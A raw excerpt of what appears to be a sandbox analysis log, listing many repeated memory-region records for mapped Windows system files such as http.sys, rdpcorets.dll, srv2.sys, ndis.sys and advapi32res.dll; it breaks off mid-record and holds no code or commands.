Region: id = 5555 start_va = 0x20abc7e0000 end_va = 0x20abc8f0fff monitored = 0 entry_point = 0x20abc8d1bf0 region_type = mapped_file name = "http.sys" filename = "\\Windows\\System32\\drivers\\http.sys" (normalized: "c:\\windows\\system32\\drivers\\http.sys") Region: id = 5556 start_va = 0x20abc380000 end_va = 0x20abc38ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "psevents.dll" filename = "\\Windows\\System32\\WindowsPowerShell\\v1.0\\PSEvents.dll" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\psevents.dll") Region: id = 5557 start_va = 0x20abc390000 end_va = 0x20abc39dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "psevents.dll.mui" filename = "\\Windows\\System32\\WindowsPowerShell\\v1.0\\en-US\\PSEvents.dll.mui" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\en-us\\psevents.dll.mui") Region: id = 5558 start_va = 0x20abc380000 end_va = 0x20abc38ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "psevents.dll" filename = "\\Windows\\System32\\WindowsPowerShell\\v1.0\\PSEvents.dll" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\psevents.dll") Region: id = 5559 start_va = 0x20abc390000 end_va = 0x20abc39dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "psevents.dll.mui" filename = "\\Windows\\System32\\WindowsPowerShell\\v1.0\\en-US\\PSEvents.dll.mui" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\en-us\\psevents.dll.mui") Region: id = 5560 start_va = 0x20abc380000 end_va = 0x20abc38ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "psevents.dll" filename = "\\Windows\\System32\\WindowsPowerShell\\v1.0\\PSEvents.dll" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\psevents.dll") Region: id = 5561 start_va = 0x20abc390000 end_va = 0x20abc39dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "psevents.dll.mui" filename = "\\Windows\\System32\\WindowsPowerShell\\v1.0\\en-US\\PSEvents.dll.mui" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\en-us\\psevents.dll.mui") Region: id = 5562 start_va = 0x20abc380000 end_va = 0x20abc386fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "rdpcorets.dll.mui" filename = "\\Windows\\System32\\en-US\\rdpcorets.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\rdpcorets.dll.mui") Region: id = 5563 start_va = 0x20abc7e0000 end_va = 0x20abcbe7fff monitored = 0 entry_point = 0x20abc8ae3b0 region_type = mapped_file name = "rdpcorets.dll" filename = "\\Windows\\System32\\rdpcorets.dll" (normalized: "c:\\windows\\system32\\rdpcorets.dll") Region: id = 5564 start_va = 0x20abc380000 end_va = 0x20abc386fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "rdpcorets.dll.mui" filename = "\\Windows\\System32\\en-US\\rdpcorets.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\rdpcorets.dll.mui") Region: id = 5565 start_va = 0x20abc7e0000 end_va = 0x20abcbe7fff monitored = 0 entry_point = 0x20abc8ae3b0 region_type = mapped_file name = "rdpcorets.dll" filename = "\\Windows\\System32\\rdpcorets.dll" (normalized: "c:\\windows\\system32\\rdpcorets.dll") Region: id = 5566 start_va = 0x20abc380000 end_va = 0x20abc386fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "rdpcorets.dll.mui" filename = "\\Windows\\System32\\en-US\\rdpcorets.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\rdpcorets.dll.mui") Region: id = 5567 start_va = 0x20abc7e0000 end_va = 0x20abcbe7fff monitored = 0 entry_point = 0x20abc8ae3b0 region_type = mapped_file name = "rdpcorets.dll" filename = "\\Windows\\System32\\rdpcorets.dll" (normalized: "c:\\windows\\system32\\rdpcorets.dll") Region: id = 5568 start_va = 0x20abc380000 end_va = 0x20abc386fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "rdpcorets.dll.mui" filename = "\\Windows\\System32\\en-US\\rdpcorets.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\rdpcorets.dll.mui") Region: id = 5569 start_va = 0x20abc7e0000 end_va = 0x20abcbe7fff monitored = 0 entry_point = 0x20abc8ae3b0 region_type = mapped_file name = "rdpcorets.dll" filename = "\\Windows\\System32\\rdpcorets.dll" (normalized: "c:\\windows\\system32\\rdpcorets.dll") Region: id = 5570 start_va = 0x20abc380000 end_va = 0x20abc391fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "srv2.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\srv2.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\srv2.sys.mui") Region: id = 5571 start_va = 0x20abc7e0000 end_va = 0x20abc88efff monitored = 0 entry_point = 0x20abc857000 region_type = mapped_file name = "srv2.sys" filename = "\\Windows\\System32\\drivers\\srv2.sys" (normalized: "c:\\windows\\system32\\drivers\\srv2.sys") Region: id = 5572 start_va = 0x20abc380000 end_va = 0x20abc391fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "srv2.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\srv2.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\srv2.sys.mui") Region: id = 5573 start_va = 0x20abc7e0000 end_va = 0x20abc88efff monitored = 0 entry_point = 0x20abc857000 region_type = mapped_file name = "srv2.sys" filename = "\\Windows\\System32\\drivers\\srv2.sys" (normalized: "c:\\windows\\system32\\drivers\\srv2.sys") Region: id = 5574 start_va = 0x20abc380000 end_va = 0x20abc391fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "srv2.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\srv2.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\srv2.sys.mui") Region: id = 5575 start_va = 0x20abc7e0000 end_va = 0x20abc88efff monitored = 0 entry_point = 0x20abc857000 region_type = mapped_file name = "srv2.sys" filename = "\\Windows\\System32\\drivers\\srv2.sys" (normalized: "c:\\windows\\system32\\drivers\\srv2.sys") Region: id = 5576 start_va = 0x20abc380000 end_va = 0x20abc391fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "srv2.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\srv2.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\srv2.sys.mui") Region: id = 5577 start_va = 0x20abc7e0000 end_va = 0x20abc88efff monitored = 0 entry_point = 0x20abc857000 region_type = mapped_file name = "srv2.sys" filename = "\\Windows\\System32\\drivers\\srv2.sys" (normalized: "c:\\windows\\system32\\drivers\\srv2.sys") Region: id = 5578 start_va = 0x20abc380000 end_va = 0x20abc391fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "srv2.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\srv2.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\srv2.sys.mui") Region: id = 5579 start_va = 0x20abc7e0000 end_va = 0x20abc88efff monitored = 0 entry_point = 0x20abc857000 region_type = mapped_file name = "srv2.sys" filename = "\\Windows\\System32\\drivers\\srv2.sys" (normalized: "c:\\windows\\system32\\drivers\\srv2.sys") Region: id = 5580 start_va = 0x20abc380000 end_va = 0x20abc391fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "srv2.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\srv2.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\srv2.sys.mui") Region: id = 5581 start_va = 0x20abc7e0000 end_va = 0x20abc88efff monitored = 0 entry_point = 0x20abc857000 region_type = mapped_file name = "srv2.sys" filename = "\\Windows\\System32\\drivers\\srv2.sys" (normalized: "c:\\windows\\system32\\drivers\\srv2.sys") Region: id = 5582 start_va = 0x20abc380000 end_va = 0x20abc383fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "netlogon.dll.mui" filename = "\\Windows\\System32\\en-US\\netlogon.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\netlogon.dll.mui") Region: id = 5583 start_va = 0x20abc7e0000 end_va = 0x20abc8b4fff monitored = 0 entry_point = 0x20abc80e0b0 region_type = mapped_file name = "netlogon.dll" filename = "\\Windows\\System32\\netlogon.dll" (normalized: "c:\\windows\\system32\\netlogon.dll") Region: id = 5584 start_va = 0x20abc380000 end_va = 0x20abc383fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "netlogon.dll.mui" filename = "\\Windows\\System32\\en-US\\netlogon.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\netlogon.dll.mui") Region: id = 5585 start_va = 0x20abc7e0000 end_va = 0x20abc8b4fff monitored = 0 entry_point = 0x20abc80e0b0 region_type = mapped_file name = "netlogon.dll" filename = "\\Windows\\System32\\netlogon.dll" (normalized: "c:\\windows\\system32\\netlogon.dll") Region: id = 5586 start_va = 0x20abc380000 end_va = 0x20abc383fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "usbxhci.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\USBXHCI.SYS.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\usbxhci.sys.mui") Region: id = 5587 start_va = 0x20abc7e0000 end_va = 0x20abc840fff monitored = 0 entry_point = 0x20abc7f0770 region_type = mapped_file name = "usbxhci.sys" filename = "\\Windows\\System32\\drivers\\USBXHCI.SYS" (normalized: "c:\\windows\\system32\\drivers\\usbxhci.sys") Region: id = 5588 start_va = 0x20abc380000 end_va = 0x20abc383fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "usbxhci.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\USBXHCI.SYS.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\usbxhci.sys.mui") Region: id = 5589 start_va = 0x20abc7e0000 end_va = 0x20abc840fff monitored = 0 entry_point = 0x20abc7f0770 region_type = mapped_file name = "usbxhci.sys" filename = "\\Windows\\System32\\drivers\\USBXHCI.SYS" (normalized: "c:\\windows\\system32\\drivers\\usbxhci.sys") Region: id = 5590 start_va = 0x20abc380000 end_va = 0x20abc383fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "usbxhci.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\USBXHCI.SYS.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\usbxhci.sys.mui") Region: id = 5591 start_va = 0x20abc7e0000 end_va = 0x20abc840fff monitored = 0 entry_point = 0x20abc7f0770 region_type = mapped_file name = "usbxhci.sys" filename = "\\Windows\\System32\\drivers\\USBXHCI.SYS" (normalized: "c:\\windows\\system32\\drivers\\usbxhci.sys") Region: id = 5592 start_va = 0x20abc380000 end_va = 0x20abc383fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "usbxhci.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\USBXHCI.SYS.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\usbxhci.sys.mui") Region: id = 5593 start_va = 0x20abc7e0000 end_va = 0x20abc840fff monitored = 0 entry_point = 0x20abc7f0770 region_type = mapped_file name = "usbxhci.sys" filename = "\\Windows\\System32\\drivers\\USBXHCI.SYS" (normalized: "c:\\windows\\system32\\drivers\\usbxhci.sys") Region: id = 5594 start_va = 0x20abc380000 end_va = 0x20abc383fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "usbxhci.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\USBXHCI.SYS.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\usbxhci.sys.mui") Region: id = 5595 start_va = 0x20abc7e0000 end_va = 0x20abc840fff monitored = 0 entry_point = 0x20abc7f0770 region_type = mapped_file name = "usbxhci.sys" filename = "\\Windows\\System32\\drivers\\USBXHCI.SYS" (normalized: "c:\\windows\\system32\\drivers\\usbxhci.sys") Region: id = 5596 start_va = 0x20abc380000 end_va = 0x20abc383fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "usbxhci.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\USBXHCI.SYS.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\usbxhci.sys.mui") Region: id = 5597 start_va = 0x20abc7e0000 end_va = 0x20abc840fff monitored = 0 entry_point = 0x20abc7f0770 region_type = mapped_file name = "usbxhci.sys" filename = "\\Windows\\System32\\drivers\\USBXHCI.SYS" (normalized: "c:\\windows\\system32\\drivers\\usbxhci.sys") Region: id = 5598 start_va = 0x20abc380000 end_va = 0x20abc382fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "drt.dll.mui" filename = "\\Windows\\System32\\en-US\\drt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\drt.dll.mui") Region: id = 5599 start_va = 0x20abc7e0000 end_va = 0x20abc827fff monitored = 0 entry_point = 0x20abc81acf0 region_type = mapped_file name = "drt.dll" filename = "\\Windows\\System32\\drt.dll" (normalized: "c:\\windows\\system32\\drt.dll") Region: id = 5600 start_va = 0x20abc380000 end_va = 0x20abc382fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "drt.dll.mui" filename = "\\Windows\\System32\\en-US\\drt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\drt.dll.mui") Region: id = 5601 start_va = 0x20abc7e0000 end_va = 0x20abc827fff monitored = 0 entry_point = 0x20abc81acf0 region_type = mapped_file name = "drt.dll" filename = "\\Windows\\System32\\drt.dll" (normalized: "c:\\windows\\system32\\drt.dll") Region: id = 5602 start_va = 0x20abc380000 end_va = 0x20abc390fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 5603 start_va = 0x20abc7e0000 end_va = 0x20abc8fffff monitored = 0 entry_point = 0x20abc8dc040 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 5604 start_va = 0x20abc380000 end_va = 0x20abc390fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 5605 start_va = 0x20abc7e0000 end_va = 0x20abc8fffff monitored = 0 entry_point = 0x20abc8dc040 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 5606 start_va = 0x20abc380000 end_va = 0x20abc390fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 5607 start_va = 0x20abc7e0000 end_va = 0x20abc8fffff monitored = 0 entry_point = 0x20abc8dc040 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 5608 start_va = 0x20abc380000 end_va = 0x20abc390fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 5609 start_va = 0x20abc7e0000 end_va = 0x20abc8fffff monitored = 0 entry_point = 0x20abc8dc040 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 5610 start_va = 0x20abc380000 end_va = 0x20abc390fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 5611 start_va = 0x20abc7e0000 end_va = 0x20abc8fffff monitored = 0 entry_point = 0x20abc8dc040 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 5612 start_va = 0x20abc380000 end_va = 0x20abc390fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 5613 start_va = 0x20abc7e0000 end_va = 0x20abc8fffff monitored = 0 entry_point = 0x20abc8dc040 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 5614 start_va = 0x20abc380000 end_va = 0x20abc390fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 5615 start_va = 0x20abc7e0000 end_va = 0x20abc8fffff monitored = 0 entry_point = 0x20abc8dc040 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 5616 start_va = 0x20abc380000 end_va = 0x20abc390fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 5617 start_va = 0x20abc7e0000 end_va = 0x20abc8fffff monitored = 0 entry_point = 0x20abc8dc040 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 5618 start_va = 0x20abc380000 end_va = 0x20abc390fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 5619 start_va = 0x20abc7e0000 end_va = 0x20abc8fffff monitored = 0 entry_point = 0x20abc8dc040 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 5620 start_va = 0x20abc380000 end_va = 0x20abc390fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 5621 start_va = 0x20abc7e0000 end_va = 0x20abc8fffff monitored = 0 entry_point = 0x20abc8dc040 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 5622 start_va = 0x20abc380000 end_va = 0x20abc390fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 5623 start_va = 0x20abc7e0000 end_va = 0x20abc8fffff monitored = 0 entry_point = 0x20abc8dc040 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 5624 start_va = 0x20abc380000 end_va = 0x20abc390fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 5625 start_va = 0x20abc7e0000 end_va = 0x20abc8fffff monitored = 0 entry_point = 0x20abc8dc040 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 5626 start_va = 0x20abc380000 end_va = 0x20abc390fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 5627 start_va = 0x20abc7e0000 end_va = 0x20abc8fffff monitored = 0 entry_point = 0x20abc8dc040 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 5628 start_va = 0x20abc380000 end_va = 0x20abc390fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 5629 start_va = 0x20abc7e0000 end_va = 0x20abc8fffff monitored = 0 entry_point = 0x20abc8dc040 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 5630 start_va = 0x20abc380000 end_va = 0x20abc390fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 5631 start_va = 0x20abc7e0000 end_va = 0x20abc8fffff monitored = 0 entry_point = 0x20abc8dc040 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 5632 start_va = 0x20abc380000 end_va = 0x20abc390fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 5633 start_va = 0x20abc7e0000 end_va = 0x20abc8fffff monitored = 0 entry_point = 0x20abc8dc040 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 5634 start_va = 0x20abc380000 end_va = 0x20abc390fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 5635 start_va = 0x20abc7e0000 end_va = 0x20abc8fffff monitored = 0 entry_point = 0x20abc8dc040 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 5636 start_va = 0x20abc380000 end_va = 0x20abc390fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 5637 start_va = 0x20abc7e0000 end_va = 0x20abc8fffff monitored = 0 entry_point = 0x20abc8dc040 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 5638 start_va = 0x20abc380000 end_va = 0x20abc382fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll" filename = "\\Windows\\System32\\advapi32res.dll" (normalized: "c:\\windows\\system32\\advapi32res.dll") Region: id = 5639 start_va = 0x20abc390000 end_va = 0x20abc3a0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll.mui" filename = "\\Windows\\System32\\en-US\\advapi32res.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\advapi32res.dll.mui") Region: id = 5640 start_va = 0x20abc380000 end_va = 0x20abc382fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll" filename = "\\Windows\\System32\\advapi32res.dll" (normalized: "c:\\windows\\system32\\advapi32res.dll") Region: id = 5641 start_va = 0x20abc390000 end_va = 0x20abc3a0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll.mui" filename = "\\Windows\\System32\\en-US\\advapi32res.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\advapi32res.dll.mui") Region: id = 5642 start_va = 0x20abc380000 end_va = 0x20abc382fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll" filename = "\\Windows\\System32\\advapi32res.dll" (normalized: "c:\\windows\\system32\\advapi32res.dll") Region: id = 5643 start_va = 0x20abc390000 end_va = 0x20abc3a0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll.mui" filename = "\\Windows\\System32\\en-US\\advapi32res.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\advapi32res.dll.mui") Region: id = 5644 start_va = 0x20abc380000 end_va = 0x20abc382fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll" filename = "\\Windows\\System32\\advapi32res.dll" (normalized: "c:\\windows\\system32\\advapi32res.dll") Region: id = 5645 start_va = 0x20abc390000 end_va = 0x20abc3a0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll.mui" filename = "\\Windows\\System32\\en-US\\advapi32res.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\advapi32res.dll.mui") Region: id = 5646 start_va = 0x20abc380000 end_va = 0x20abc382fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll" filename = "\\Windows\\System32\\advapi32res.dll" (normalized: "c:\\windows\\system32\\advapi32res.dll") Region: id = 5647 start_va = 0x20abc390000 end_va = 0x20abc3a0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll.mui" filename = "\\Windows\\System32\\en-US\\advapi32res.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\advapi32res.dll.mui") Region: id = 5648 start_va = 0x20abc380000 end_va = 0x20abc382fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll" filename = "\\Windows\\System32\\advapi32res.dll" (normalized: "c:\\windows\\system32\\advapi32res.dll") Region: id = 5649 start_va = 0x20abc390000 end_va = 0x20abc3a0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll.mui" filename = "\\Windows\\System32\\en-US\\advapi32res.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\advapi32res.dll.mui") Region: id = 5650 start_va = 0x20abc380000 end_va = 0x20abc382fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll" filename = "\\Windows\\System32\\advapi32res.dll" (normalized: "c:\\windows\\system32\\advapi32res.dll") Region: id = 5651 start_va = 0x20abc390000 end_va = 0x20abc3a0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll.mui" filename = "\\Windows\\System32\\en-US\\advapi32res.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\advapi32res.dll.mui") Region: id = 5652 start_va = 0x20abc380000 end_va = 0x20abc382fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll" filename = "\\Windows\\System32\\advapi32res.dll" (normalized: "c:\\windows\\system32\\advapi32res.dll") Region: id = 5653 start_va = 0x20abc390000 end_va = 0x20abc3a0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll.mui" filename = "\\Windows\\System32\\en-US\\advapi32res.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\advapi32res.dll.mui") Region: id = 5654 start_va = 0x20abc380000 end_va = 0x20abc382fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll" filename = "\\Windows\\System32\\advapi32res.dll" (normalized: "c:\\windows\\system32\\advapi32res.dll") Region: id = 5655 start_va = 0x20abc390000 end_va = 0x20abc3a0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll.mui" filename = "\\Windows\\System32\\en-US\\advapi32res.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\advapi32res.dll.mui") Region: id = 5656 start_va = 0x20abc380000 end_va = 0x20abc382fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll" filename = "\\Windows\\System32\\advapi32res.dll" (normalized: "c:\\windows\\system32\\advapi32res.dll") Region: id = 5657 start_va = 0x20abc390000 end_va = 0x20abc3a0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll.mui" filename = "\\Windows\\System32\\en-US\\advapi32res.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\advapi32res.dll.mui") Region: id = 5658 start_va = 0x20abc380000 end_va = 0x20abc382fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll" filename = "\\Windows\\System32\\advapi32res.dll" (normalized: "c:\\windows\\system32\\advapi32res.dll") Region: id = 5659 start_va = 0x20abc390000 end_va = 0x20abc3a0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll.mui" filename = "\\Windows\\System32\\en-US\\advapi32res.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\advapi32res.dll.mui") Region: id = 5660 start_va = 0x20abc380000 end_va = 0x20abc382fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll" filename = "\\Windows\\System32\\advapi32res.dll" (normalized: "c:\\windows\\system32\\advapi32res.dll") Region: id = 5661 start_va = 0x20abc390000 